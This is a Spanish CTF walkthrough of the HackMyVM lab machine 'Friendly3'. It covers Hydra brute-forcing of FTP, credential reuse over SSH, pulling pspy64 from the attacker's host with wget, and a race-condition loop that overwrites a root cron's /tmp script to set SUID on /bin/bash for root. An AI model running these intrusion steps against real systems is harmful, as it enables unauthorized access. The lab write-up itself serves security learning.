Friendly3 HackMyVM (Easy - Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>nmap -sCV -p<PORTS> <IP>Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-12 14:32 EDT
Nmap scan report for 192.168.5.15
Host is up (0.0023s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
| 256 bc:46:3d:85:18:bf:c7:bb:14:26:9a:20:6c:d3:39:52 (ECDSA)
|_ 256 7b:13:5a:46:a5:62:33:09:24:9d:3e:67:b6:eb:3f:a1 (ED25519)
80/tcp open http nginx 1.22.1
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.22.1
MAC Address: 08:00:27:C0:AC:2B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.15 secondsVeremos que hay un servidor FTP y un puerto 80 que alojara una pagina web, si nos metemos en la pagina web, veremos simplemente lo siguiente:
Hi, sysadmin
I want you to know that I've just uploaded the new files into the FTP Server.
See you,
juan.Veremos lo que puede ser un usuario, pero antes vamos a probar a mternos de forma anonima por el servidor FTP.
ftp anonymous@<IP>Veremos que no podemos, por lo que vamos a probar a realizar fuerza bruta con el usuario juan a ver si hay suerte.
Hydra (FTP)
hydra -l juan -P <WORDLIST> ftp://<IP>/ -t 64 -IInfo:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-12 14:37:16
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ftp://192.168.5.15:21/
[21][ftp] host: 192.168.5.15 login: juan password: alexis
^CVeremos que hemos encontrado las credenciales del FTP de dicho usuario, por lo que vamos a conectarnos por FTP con dichas credenciales.
ftp juan@<IP>Metemos como contraseña alexis y veremos que estamos dentro, si listamos la carpeta veremos lo siguiente:
229 Entering Extended Passive Mode (|||34403|)
150 Here comes the directory listing.
drwxr-xr-x 14 0 0 4096 Jun 25 2023 .
drwxr-xr-x 14 0 0 4096 Jun 25 2023 ..
-rw-r--r-- 1 0 0 0 Jun 25 2023 file1
-rw-r--r-- 1 0 0 0 Jun 25 2023 file10
-rw-r--r-- 1 0 0 0 Jun 25 2023 file100
-rw-r--r-- 1 0 0 0 Jun 25 2023 file11
-rw-r--r-- 1 0 0 0 Jun 25 2023 file12
-rw-r--r-- 1 0 0 0 Jun 25 2023 file13
-rw-r--r-- 1 0 0 0 Jun 25 2023 file14
-rw-r--r-- 1 0 0 0 Jun 25 2023 file15
-rw-r--r-- 1 0 0 0 Jun 25 2023 file16
-rw-r--r-- 1 0 0 0 Jun 25 2023 file17
-rw-r--r-- 1 0 0 0 Jun 25 2023 file18
-rw-r--r-- 1 0 0 0 Jun 25 2023 file19
-rw-r--r-- 1 0 0 0 Jun 25 2023 file2
-rw-r--r-- 1 0 0 0 Jun 25 2023 file20
-rw-r--r-- 1 0 0 0 Jun 25 2023 file21
-rw-r--r-- 1 0 0 0 Jun 25 2023 file22
-rw-r--r-- 1 0 0 0 Jun 25 2023 file23
-rw-r--r-- 1 0 0 0 Jun 25 2023 file24
-rw-r--r-- 1 0 0 0 Jun 25 2023 file25
-rw-r--r-- 1 0 0 0 Jun 25 2023 file26
-rw-r--r-- 1 0 0 0 Jun 25 2023 file27
-rw-r--r-- 1 0 0 0 Jun 25 2023 file28
-rw-r--r-- 1 0 0 0 Jun 25 2023 file29
-rw-r--r-- 1 0 0 0 Jun 25 2023 file3
-rw-r--r-- 1 0 0 0 Jun 25 2023 file30
-rw-r--r-- 1 0 0 0 Jun 25 2023 file31
-rw-r--r-- 1 0 0 0 Jun 25 2023 file32
-rw-r--r-- 1 0 0 0 Jun 25 2023 file33
-rw-r--r-- 1 0 0 0 Jun 25 2023 file34
-rw-r--r-- 1 0 0 0 Jun 25 2023 file35
-rw-r--r-- 1 0 0 0 Jun 25 2023 file36
-rw-r--r-- 1 0 0 0 Jun 25 2023 file37
-rw-r--r-- 1 0 0 0 Jun 25 2023 file38
-rw-r--r-- 1 0 0 0 Jun 25 2023 file39
-rw-r--r-- 1 0 0 0 Jun 25 2023 file4
-rw-r--r-- 1 0 0 0 Jun 25 2023 file40
-rw-r--r-- 1 0 0 0 Jun 25 2023 file41
-rw-r--r-- 1 0 0 0 Jun 25 2023 file42
-rw-r--r-- 1 0 0 0 Jun 25 2023 file43
-rw-r--r-- 1 0 0 0 Jun 25 2023 file44
-rw-r--r-- 1 0 0 0 Jun 25 2023 file45
-rw-r--r-- 1 0 0 0 Jun 25 2023 file46
-rw-r--r-- 1 0 0 0 Jun 25 2023 file47
-rw-r--r-- 1 0 0 0 Jun 25 2023 file48
-rw-r--r-- 1 0 0 0 Jun 25 2023 file49
-rw-r--r-- 1 0 0 0 Jun 25 2023 file5
-rw-r--r-- 1 0 0 0 Jun 25 2023 file50
-rw-r--r-- 1 0 0 0 Jun 25 2023 file51
-rw-r--r-- 1 0 0 0 Jun 25 2023 file52
-rw-r--r-- 1 0 0 0 Jun 25 2023 file53
-rw-r--r-- 1 0 0 0 Jun 25 2023 file54
-rw-r--r-- 1 0 0 0 Jun 25 2023 file55
-rw-r--r-- 1 0 0 0 Jun 25 2023 file56
-rw-r--r-- 1 0 0 0 Jun 25 2023 file57
-rw-r--r-- 1 0 0 0 Jun 25 2023 file58
-rw-r--r-- 1 0 0 0 Jun 25 2023 file59
-rw-r--r-- 1 0 0 0 Jun 25 2023 file6
-rw-r--r-- 1 0 0 0 Jun 25 2023 file60
-rw-r--r-- 1 0 0 0 Jun 25 2023 file61
-rw-r--r-- 1 0 0 0 Jun 25 2023 file62
-rw-r--r-- 1 0 0 0 Jun 25 2023 file63
-rw-r--r-- 1 0 0 0 Jun 25 2023 file64
-rw-r--r-- 1 0 0 0 Jun 25 2023 file65
-rw-r--r-- 1 0 0 0 Jun 25 2023 file66
-rw-r--r-- 1 0 0 0 Jun 25 2023 file67
-rw-r--r-- 1 0 0 0 Jun 25 2023 file68
-rw-r--r-- 1 0 0 0 Jun 25 2023 file69
-rw-r--r-- 1 0 0 0 Jun 25 2023 file7
-rw-r--r-- 1 0 0 0 Jun 25 2023 file70
-rw-r--r-- 1 0 0 0 Jun 25 2023 file71
-rw-r--r-- 1 0 0 0 Jun 25 2023 file72
-rw-r--r-- 1 0 0 0 Jun 25 2023 file73
-rw-r--r-- 1 0 0 0 Jun 25 2023 file74
-rw-r--r-- 1 0 0 0 Jun 25 2023 file75
-rw-r--r-- 1 0 0 0 Jun 25 2023 file76
-rw-r--r-- 1 0 0 0 Jun 25 2023 file77
-rw-r--r-- 1 0 0 0 Jun 25 2023 file78
-rw-r--r-- 1 0 0 0 Jun 25 2023 file79
-rw-r--r-- 1 0 0 0 Jun 25 2023 file8
-rw-r--r-- 1 0 0 36 Jun 25 2023 file80
-rw-r--r-- 1 0 0 0 Jun 25 2023 file81
-rw-r--r-- 1 0 0 0 Jun 25 2023 file82
-rw-r--r-- 1 0 0 0 Jun 25 2023 file83
-rw-r--r-- 1 0 0 0 Jun 25 2023 file84
-rw-r--r-- 1 0 0 0 Jun 25 2023 file85
-rw-r--r-- 1 0 0 0 Jun 25 2023 file86
-rw-r--r-- 1 0 0 0 Jun 25 2023 file87
-rw-r--r-- 1 0 0 0 Jun 25 2023 file88
-rw-r--r-- 1 0 0 0 Jun 25 2023 file89
-rw-r--r-- 1 0 0 0 Jun 25 2023 file9
-rw-r--r-- 1 0 0 0 Jun 25 2023 file90
-rw-r--r-- 1 0 0 0 Jun 25 2023 file91
-rw-r--r-- 1 0 0 0 Jun 25 2023 file92
-rw-r--r-- 1 0 0 0 Jun 25 2023 file93
-rw-r--r-- 1 0 0 0 Jun 25 2023 file94
-rw-r--r-- 1 0 0 0 Jun 25 2023 file95
-rw-r--r-- 1 0 0 0 Jun 25 2023 file96
-rw-r--r-- 1 0 0 0 Jun 25 2023 file97
-rw-r--r-- 1 0 0 0 Jun 25 2023 file98
-rw-r--r-- 1 0 0 0 Jun 25 2023 file99
drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold10
drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold11
drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold12
drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold13
drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold14
drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold15
drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold4
drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold5
drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold6
drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold7
drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold8
drwxr-xr-x 2 0 0 4096 Jun 25 2023 fold9
-rw-r--r-- 1 0 0 58 Jun 25 2023 fole32
226 Directory send OK.Vemos muchisimos archivos, algunos tienen contenido, otros no, pero tampoco es muy importante la informacion que contiene, por lo que vamos a probar las misma credenciales pero por el servidor SSH.
Escalate user juan
ssh juan@<IP>Metemos como contraseña alexis y veremos que si funciona, estaremos dentro, por lo que leeremos la flag del usuario.
user.txt
cb40b159c8086733d57280de3f97de30Escalate Privileges
Si vamos a la carpeta /opt veremos lo siguiente:
total 12
drwxr-xr-x 2 root root 4096 Jun 25 2023 .
drwxr-xr-x 18 root root 4096 Jun 25 2023 ..
-rwxr-xr-x 1 root root 190 Jun 25 2023 check_for_install.shVemos que hay un script bastante interesante, vamos a ver que hace por dentro.
#!/bin/bash
/usr/bin/curl "http://127.0.0.1/9842734723948024.bash" > /tmp/a.bash
chmod +x /tmp/a.bash
chmod +r /tmp/a.bash
chmod +w /tmp/a.bash
/bin/bash /tmp/a.bash
rm -rf /tmp/a.bashVemos que es un script que ejecuta varias cosas, entre ellas esta:
/bin/bash /tmp/a.bashSi listamos la /tmp veremos que no esta el archivo, por lo que tiene que haber algo por dentro como un crontab que puede estar ejecutando dicho script, vamos a ver los procesos que estan pasando en el sistema con pspy64.
Nos descargaremos el script de GitHub.
Host
python3 -m http.server 80Maquina victima
wget http://<IP_ATTACKER>/pspy64
cd /tmp
./pspy64Info:
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2025/05/12 14:51:40 CMD: UID=1001 PID=859 | ./pspy64
2025/05/12 14:51:40 CMD: UID=0 PID=821 |
2025/05/12 14:51:40 CMD: UID=1001 PID=748 | -bash
2025/05/12 14:51:40 CMD: UID=1001 PID=747 | sshd: juan@pts/0
2025/05/12 14:51:40 CMD: UID=1001 PID=737 | (sd-pam)
2025/05/12 14:51:40 CMD: UID=0 PID=736 |
2025/05/12 14:51:40 CMD: UID=1001 PID=735 | /lib/systemd/systemd --user
2025/05/12 14:51:40 CMD: UID=0 PID=733 |
2025/05/12 14:51:40 CMD: UID=0 PID=731 |
2025/05/12 14:51:40 CMD: UID=0 PID=729 | sshd: juan [priv]
2025/05/12 14:51:40 CMD: UID=33 PID=405 | nginx: worker process
2025/05/12 14:51:40 CMD: UID=0 PID=402 | sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
2025/05/12 14:51:40 CMD: UID=0 PID=401 | nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
2025/05/12 14:51:40 CMD: UID=0 PID=379 | /sbin/agetty -o -p -- \u --noclear - linux
2025/05/12 14:51:40 CMD: UID=0 PID=376 | /usr/sbin/vsftpd /etc/vsftpd.conf
2025/05/12 14:51:40 CMD: UID=0 PID=351 | dhclient -4 -v -i -pf /run/dhclient.enp0s3.pid -lf /var/lib/dhcp/dhclient.enp0s3.leases -I -df /var/lib/dhcp/dhclient6.enp0s3.leases enp0s3
2025/05/12 14:51:40 CMD: UID=0 PID=348 |
2025/05/12 14:51:40 CMD: UID=0 PID=346 |
2025/05/12 14:51:40 CMD: UID=0 PID=343 |
2025/05/12 14:51:40 CMD: UID=0 PID=341 |
2025/05/12 14:51:40 CMD: UID=0 PID=336 |
2025/05/12 14:51:40 CMD: UID=0 PID=332 |
2025/05/12 14:51:40 CMD: UID=0 PID=330 |
2025/05/12 14:51:40 CMD: UID=0 PID=328 |
2025/05/12 14:51:40 CMD: UID=0 PID=310 |
2025/05/12 14:51:40 CMD: UID=0 PID=292 | /lib/systemd/systemd-logind
2025/05/12 14:51:40 CMD: UID=101 PID=288 | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
2025/05/12 14:51:40 CMD: UID=0 PID=287 | /usr/sbin/cron -f
2025/05/12 14:51:40 CMD: UID=0 PID=285 |
2025/05/12 14:51:40 CMD: UID=0 PID=237 | /lib/systemd/systemd-udevd
2025/05/12 14:51:40 CMD: UID=0 PID=206 | /lib/systemd/systemd-journald
2025/05/12 14:51:40 CMD: UID=0 PID=168 |
2025/05/12 14:51:40 CMD: UID=0 PID=167 |
2025/05/12 14:51:40 CMD: UID=0 PID=135 |
2025/05/12 14:51:40 CMD: UID=0 PID=127 |
2025/05/12 14:51:40 CMD: UID=0 PID=126 |
2025/05/12 14:51:40 CMD: UID=0 PID=125 |
2025/05/12 14:51:40 CMD: UID=0 PID=124 |
2025/05/12 14:51:40 CMD: UID=0 PID=123 |
2025/05/12 14:51:40 CMD: UID=0 PID=122 |
2025/05/12 14:51:40 CMD: UID=0 PID=121 |
2025/05/12 14:51:40 CMD: UID=0 PID=60 |
2025/05/12 14:51:40 CMD: UID=0 PID=59 |
2025/05/12 14:51:40 CMD: UID=0 PID=54 |
2025/05/12 14:51:40 CMD: UID=0 PID=49 |
2025/05/12 14:51:40 CMD: UID=0 PID=48 |
2025/05/12 14:51:40 CMD: UID=0 PID=47 |
2025/05/12 14:51:40 CMD: UID=0 PID=46 |
2025/05/12 14:51:40 CMD: UID=0 PID=44 |
2025/05/12 14:51:40 CMD: UID=0 PID=38 |
2025/05/12 14:51:40 CMD: UID=0 PID=37 |
2025/05/12 14:51:40 CMD: UID=0 PID=36 |
2025/05/12 14:51:40 CMD: UID=0 PID=35 |
2025/05/12 14:51:40 CMD: UID=0 PID=34 |
2025/05/12 14:51:40 CMD: UID=0 PID=33 |
2025/05/12 14:51:40 CMD: UID=0 PID=32 |
2025/05/12 14:51:40 CMD: UID=0 PID=31 |
2025/05/12 14:51:40 CMD: UID=0 PID=30 |
2025/05/12 14:51:40 CMD: UID=0 PID=29 |
2025/05/12 14:51:40 CMD: UID=0 PID=28 |
2025/05/12 14:51:40 CMD: UID=0 PID=27 |
2025/05/12 14:51:40 CMD: UID=0 PID=25 |
2025/05/12 14:51:40 CMD: UID=0 PID=24 |
2025/05/12 14:51:40 CMD: UID=0 PID=23 |
2025/05/12 14:51:40 CMD: UID=0 PID=22 |
2025/05/12 14:51:40 CMD: UID=0 PID=21 |
2025/05/12 14:51:40 CMD: UID=0 PID=20 |
2025/05/12 14:51:40 CMD: UID=0 PID=18 |
2025/05/12 14:51:40 CMD: UID=0 PID=16 |
2025/05/12 14:51:40 CMD: UID=0 PID=15 |
2025/05/12 14:51:40 CMD: UID=0 PID=14 |
2025/05/12 14:51:40 CMD: UID=0 PID=13 |
2025/05/12 14:51:40 CMD: UID=0 PID=12 |
2025/05/12 14:51:40 CMD: UID=0 PID=11 |
2025/05/12 14:51:40 CMD: UID=0 PID=10 |
2025/05/12 14:51:40 CMD: UID=0 PID=9 |
2025/05/12 14:51:40 CMD: UID=0 PID=6 |
2025/05/12 14:51:40 CMD: UID=0 PID=5 |
2025/05/12 14:51:40 CMD: UID=0 PID=4 |
2025/05/12 14:51:40 CMD: UID=0 PID=3 |
2025/05/12 14:51:40 CMD: UID=0 PID=2 |
2025/05/12 14:51:40 CMD: UID=0 PID=1 | /sbin/init
2025/05/12 14:52:01 CMD: UID=0 PID=866 | /usr/sbin/CRON -f
2025/05/12 14:52:01 CMD: UID=0 PID=867 | /usr/sbin/CRON -f
2025/05/12 14:52:02 CMD: UID=0 PID=868 | /bin/sh -c /opt/check_for_install.sh
2025/05/12 14:52:02 CMD: UID=0 PID=869 | /bin/bash /opt/check_for_install.sh
2025/05/12 14:52:02 CMD: UID=0 PID=870 | /bin/bash /opt/check_for_install.sh
2025/05/12 14:52:02 CMD: UID=0 PID=871 | /bin/bash /opt/check_for_install.sh
2025/05/12 14:52:02 CMD: UID=0 PID=872 | /bin/bash /opt/check_for_install.sh
2025/05/12 14:52:02 CMD: UID=0 PID=873 | /bin/bash /opt/check_for_install.sh
2025/05/12 14:52:02 CMD: UID=0 PID=874 | /bin/bash /opt/check_for_install.sh
2025/05/12 14:53:01 CMD: UID=0 PID=876 | /usr/sbin/CRON -f
2025/05/12 14:53:01 CMD: UID=0 PID=875 | /usr/sbin/CRON -f
2025/05/12 14:53:01 CMD: UID=0 PID=877 | /bin/sh -c /opt/check_for_install.sh
2025/05/12 14:53:01 CMD: UID=0 PID=878 | /bin/bash /opt/check_for_install.sh
2025/05/12 14:53:01 CMD: UID=0 PID=879 | /bin/bash /opt/check_for_install.sh
2025/05/12 14:53:01 CMD: UID=0 PID=880 | /bin/bash /opt/check_for_install.sh
2025/05/12 14:53:01 CMD: UID=0 PID=881 | chmod +w /tmp/a.bash
2025/05/12 14:53:01 CMD: UID=0 PID=882 | /bin/bash /opt/check_for_install.sh
2025/05/12 14:53:01 CMD: UID=0 PID=883 | /bin/bash /opt/check_for_install.sh
2025/05/12 14:53:16 CMD: UID=0 PID=885 |
2025/05/12 14:54:01 CMD: UID=0 PID=886 | /usr/sbin/CRON -f
2025/05/12 14:54:01 CMD: UID=0 PID=887 | /usr/sbin/CRON -f
2025/05/12 14:54:01 CMD: UID=0 PID=888 | /bin/sh -c /opt/check_for_install.sh
2025/05/12 14:54:01 CMD: UID=0 PID=889 | /bin/bash /opt/check_for_install.sh
2025/05/12 14:54:01 CMD: UID=0 PID=890 | chmod +x /tmp/a.bash
2025/05/12 14:54:01 CMD: UID=0 PID=891 | /bin/bash /opt/check_for_install.sh
2025/05/12 14:54:01 CMD: UID=0 PID=892 | /bin/bash /opt/check_for_install.sh
2025/05/12 14:54:01 CMD: UID=0 PID=893 | /bin/bash /opt/check_for_install.sh
2025/05/12 14:54:01 CMD: UID=0 PID=894 | rm -rf /tmp/a.bash
2025/05/12 14:54:32 CMD: UID=0 PID=895 |
^CExiting program... (interrupt)Vemos que efectivamente se esta ejecutando un crontab del .sh por lo que vemos en el script primero se descarga el a.bash y despues lo ejecuta, despues lo elimina, pero vamos a realizar un bucle en el que se este creando de forma infinita el a.bash con el paylod y esperemos a que se ejecute dicho script por root ya que vemos que lo esta ejecutando root.
cd ~/a.bash
#!/bin/bash
chmod u+s /bin/bashLo guardamos y ejecutaremos lo siguiente:
while.sh
#!/bin/bash
# Ruta origen y destino
ORIGEN="/home/juan/a.bash"
DESTINO="/tmp/a.bash"
# Bucle infinito que copia
while true; do
cp "$ORIGEN" "$DESTINO"
chmod +x /tmp/a.bash
echo "Copiado a las $(date)"
doneAhora establecemos permisos de ejecuccion:
chmod +x while.shVamos a ejecutarlo y esperar un poco.
./while.shDespues de un rato, vamos a probar a listar la bash.
ls -la /bin/bashInfo:
-rwsr-xr-x 1 root root 1265648 Apr 23 2023 /bin/bashVeremos que ha funcionado, por lo que haremos lo siguiente:
bash -pInfo:
bash-5.2# whoami
rootVeremos que somos root, por lo que leeremos la flag del usuario root.
root.txt
eb9748b67f25e6bd202e5fa25f534d51Last updated